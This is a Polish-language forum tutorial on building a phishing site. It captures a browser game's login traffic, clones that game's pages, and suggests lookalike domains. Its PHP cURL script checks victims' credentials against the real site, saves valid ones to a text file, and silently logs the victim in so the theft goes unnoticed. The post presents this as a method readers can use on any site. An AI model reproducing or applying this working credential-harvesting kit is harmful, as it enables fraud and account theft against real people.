Zauważyłem że brakuje tutoriala o Phishingu. A temat ten jak bumerang powraca w dziale HTML, PHP, JS. Jeśli ktoś nie wie co to jest Phishing to zapraszam na Wikipedię http://pl.wikipedia.org/wiki/Phishing. Ogólnie, w maksymalnym skrócie polega to na podszyciu się pod inną stronę i wyłudzeniu w ten sposób haseł. Przedstawię przygotowanie takiej fałszywej strony na konkretnym przykładzie(żeby się nikt nie czepiał zaznaczam, że to jest moja strona), przy czym w taki sposób, że po przeczytaniu będziesz mógł to zrobić na zupełnie innej.

Co będzie potrzebne:
-serwer WWW z PHP i rozszerzeniem cURL
-wtyczka do Firefoxa Live HTTP Headers lub inna o podobnym działaniu
-znajomość PHP
-podstawowa znajomość protokołu HTTP

Jak w skrócie będzie działał nasz skrypt:
1) użytkownik wchodzi na naszą stronę i wpisuje login i hasło(oczywiście nasza strona jest łudząco podobna do oryginalnej)
2) nasza strona loguje się na stronie oryginalnej i sprawdza czy podany login i hasło są poprawne
3) jeśli nie są nasza strona wysyła informacje że są błędne i prosi o ponowne wpisanie
4) jeśli są poprawne nasza strona zapisuje je do bazy danych(lub pliku) i loguje automatycznie ofiarę na oryginalną stronę

Dzięki tym zabiegom ofiara nie zorientuje się zbyt szybko co się stało. A więc do dzieła, jak widać głównym zadaniem w naszym skrypcie jest sprawdzenie czy login jest poprawny. Do tego potrzebujemy utworzyć sobie konto na stronie pod którą się podszyjemy, aby sprawdzić jak wygląda logowanie.

Strona: http://www.grarolnik.boo.pl/
Login: test1
Hasło: test12

I teraz rzecz najważniejsza, czyli jak wygląda logowanie. Widać że hasło i login wpisujemy na stronę logowanie_formularz.php. Więc wchodzimy tam, wpisujemy hasło i login, ale przed ich wysłaniem włączamy wtyczkę Live HTTP Headers.

Oto co dostajemy:
Kod:
 http://www.grarolnik.boo.pl/logowanie.php

 POST /logowanie.php HTTP/1.1
 Host: www.grarolnik.boo.pl
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: pl,en-us;q=0.7,en;q=0.3
 Accept-Encoding: gzip,deflate
 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 Keep-Alive: 300
 Connection: keep-alive
 Referer: http://www.grarolnik.boo.pl/logowanie_formularz.php
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 24
 login=test1&haslo=test12
  
 HTTP/1.0 302 Moved Temporarily
 Date: Sat, 20 Feb 2010 10:27:40 GMT
 Server: IWS/2.5
 Set-Cookie: PHPSESSID=pda0ut6tae7eaj20efkclhodcd2vsrds; path=/
 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
 Pragma: no-cache
 Location: ./gospodarstwo_formularz.php
 Vary: Accept-Encoding
 Content-Encoding: gzip
 Content-Type: text/html
 X-Cache: MISS from cache.boo.pl
 X-Cache-Lookup: MISS from cache.boo.pl:3128
 Via: 1.1 cache.boo.pl:3128 (squid/2.7.STABLE6)
 Connection: close
 ----------------------------------------------------------
Są tutaj informacje o naszym żądaniu do serwera WWW i o jego odpowiedzi. W pierwszej linijce widać że skryptem który sprawdza login i hasło jest logowanie.php. Natomiast w ostatniej linijce naszego żądania mamy zmienne, które są do tego skryptu wysyłane: login=test1&haslo=test12. Dalej jest odpowiedź serwera: Moved Temporarily, Location: ./gospodarstwo_formularz.php czyli serwer wysyła nas do skryptu gospodarstwo_formularz.php.

Kolejnym krokiem jest sprawdzenie jak serwer reaguje na błędne dane:
Kod:
 http://www.grarolnik.boo.pl/logowanie.php
  
 POST /logowanie.php HTTP/1.1
 Host: www.grarolnik.boo.pl
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: pl,en-us;q=0.7,en;q=0.3
 Accept-Encoding: gzip,deflate
 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 Keep-Alive: 300
 Connection: keep-alive
 Referer: http://www.grarolnik.boo.pl/logowanie_formularz.php
 Cookie: PHPSESSID=pda0ut6tae7eaj20efkclhodcd2vsrds
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 25
 login=test1&haslo=test123
  
 HTTP/1.0 200 OK
 Date: Sat, 20 Feb 2010 10:36:00 GMT
 Server: IWS/2.5
 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
 Pragma: no-cache
 Vary: Accept-Encoding
 Content-Encoding: gzip
 Content-Type: text/html
 X-Cache: MISS from cache.boo.pl
 X-Cache-Lookup: MISS from cache.boo.pl:3128
 Via: 1.1 cache.boo.pl:3128 (squid/2.7.STABLE6)
 Connection: close
 ----------------------------------------------------------
Widzimy, że w wypadku wpisania błędnego hasła, skrypt logowanie.php nie przekierowuje nas nigdzie(HTTP/1.0 200 OK) i wyświetla stosowny komunikat. Taki sposób logowania jest jednym z wielu, często zdarza się, że skrypt logowania w razie błędnego hasła też gdzieś nas przekieruje.

Teraz czas nauczyć nasz skrypt rozpoznawania czy logowanie się powiodło czy nie.

Kod:
 <?php
 $link=curl_init('http://www.grarolnik.boo.pl/logowanie.php');
 curl_setopt($link, CURLOPT_POSTFIELDS, 'login=test1&haslo=test12');
 curl_setopt($link, CURLOPT_HEADER, 1);
 curl_setopt($link, CURLOPT_RETURNTRANSFER, 1);
 $strona=curl_exec($link);
 curl_close($link);

 if(strstr($strona, 'gospodarstwo_formularz.php'))
 {
   //dobre haslo
   echo 'tak';
 }
 else
 {
   echo 'nie';
 }
 ?>
W pierwszej linii podajemy adres do strony logowania, w drugiej są zmienne które wysyłamy do serwera. W trzeciej linii ustawiamy opcje która sprawi, że oprócz źródła strony dostaniemy też nagłówek który odeśle nam serwer(wiec w tym miejscu odczytamy czy doszło do przekierowania na stronę gospodarstwo_formularz.php). Czwarta linia sprawi że funkcja curl_exec zamiast wyświetlić zawartość, zwróci ją. Zawartość nagłówka odpowiedzi i źródła zapiszemy do zmiennej strona. W ten sposób mamy bardzo prosty skrypt który sprawdza czy podany login i hasło są poprawne.

Najtrudniejszą cześć mamy właściwie za sobą. Wracając do opisu co ma robić nasza strona zrealizowaliśmy punkt 2. Teraz weźmiemy się za pierwszy, czyli upodobnienie się naszej strony do oryginału.

Pierwsza rzecz to podobny adres. www.grarolnik.boo.pl jest adresem pod króry dość łatwo można się podszyć. Można np. wykupić na serwerze boo.pl podstronę gra-rolnik.boo.pl. Można również użyć jakiegoś darmowego aliasu np. www.grarolnik.glt.pl. Przy czym obecnie większość stron ma domenę .pl, .com.pl. Wtedy podszycie się jest już trudniejsze, ale można spróbować.

Druga sprawa to wygląd, www.grarolnik.boo.pl ma dość ubogi i co ważne nie za zawartości dynamicznej(patrz nasza-klasa.pl gdzie co odświeżenie są inne zdjęcia) dzięki czemu będzie dość łatwo. Wchodzimy na każdą stronę z menu głównego i zapisujemy ją na dysk. Jak to zrobić żeby się nie narobić? Patrzymy na źródło strony, odnajdujemy menu:

Kod:
 <div id="menu">
 <a href="index.php">Strona główna</a>
 <a href="logowanie_formularz.php">Logowanie</a>
 <a href="rejestracja_formularz.php">Rejestracja</a>
 <a href="regulamin.php">Regulamin</a>
 <a href="bany_formularz.php">Bany</a>
 <a href="http://www.grarolnik.fora.pl">Forum</a>
 <a href="kontakt.php">Kontakt</a>
 </div>
Klikamy na „Strona główna” i zapisujemy ją nazwą jak w menu, czyli index.php. Przy zapisywaniu wybieramy „Strona WWW, tylko HTML”. Podobnie robimy i resztą odnośników. Oczywiście ta strona jest bardzo prosta, ale nawet na niej znajdują się odnośniki nie zawarte w menu głównym. Dla dużych serwisów, można użyć specjalnych programów służących do zapisywania stron. A wracając do naszego przykładu widać, że zapisane przez nas strony nie mają obrazków ani CSSa.
Możemy go pobrać, ale możemy też zmienić adres w naszych zapisanych plikach na bezwzględny, http://www.grarolnik.boo.pl/html/styl.css. Dzięki temu obrazki dołączane przez CSS zostaną od razu dołączone. Podobnie jak ze stylem postępujemy z obrazkami i skryptami JS. Teraz nasza strona jest bardzo podobna do oryginału.

Nadszedł czas na napisanie skryptu logowanie.php i złożenie wszystkiego do kupy.
Kod:
 <?php
 $link=curl_init('http://www.grarolnik.boo.pl/logowanie.php');
 curl_setopt($link, CURLOPT_POSTFIELDS, 'login='.$_POST['login'].'&haslo='.$_POST['haslo']);
 curl_setopt($link, CURLOPT_HEADER, 1);
 curl_setopt($link, CURLOPT_RETURNTRANSFER, 1);
 $strona=curl_exec($link);
 curl_close($link);
 

 if(strstr($strona, 'gospodarstwo_formularz.php'))
 {
   file_put_contents('hasla.txt', $_POST['login'].':'.$_POST['haslo']."\r\n", FILE_APPEND);
 ?>
 <form action="http://www.grarolnik.boo.pl/logowanie.php" method="post">
 <input name="login" type="hidden" value="<?php echo $_POST['login']; ?>" />
 <input name="haslo" type="hidden" value="<?php echo $_POST['haslo']; ?>" />
 </form>
 <script type="text/javascript">
 setTimeout("document.forms[0].submit()", 10);
 </script>
 <?php
 }
 else
 {
 ?>
 <?xml version="1.0" encoding="utf-8"?>
 [...]*
 <div id="tresc">
 Błędny login i/lub hasło.
 </div>
 [...]*
 </html>
 <?php
 }
 ?>
*wyciąłem zbędny kod HTML, aby nie zaciemniać tego skryptu

Jak widać jeśli warunek jest spełniony dopisujemy hasło i login do pliku, a następnie przekierowujemy na oryginalną stronę za pomocą JS. Jeśli login i hasło są błędne wyświetlamy komunikat taki jak na oryginalnej stronie.

To mój pierwszy tutorial więc liczę na wyrozumiałość i konstruktywną krytykę. Co prawda wybrałem sobie dość prosty przykład strony, ale to po to aby nie zaciemniać samego tematu. Liczę że komuś się to przyda. Rozumiem, że jeśli się spodoba moderatorom to jest szansa na przeniesienie do działu Tutoriale?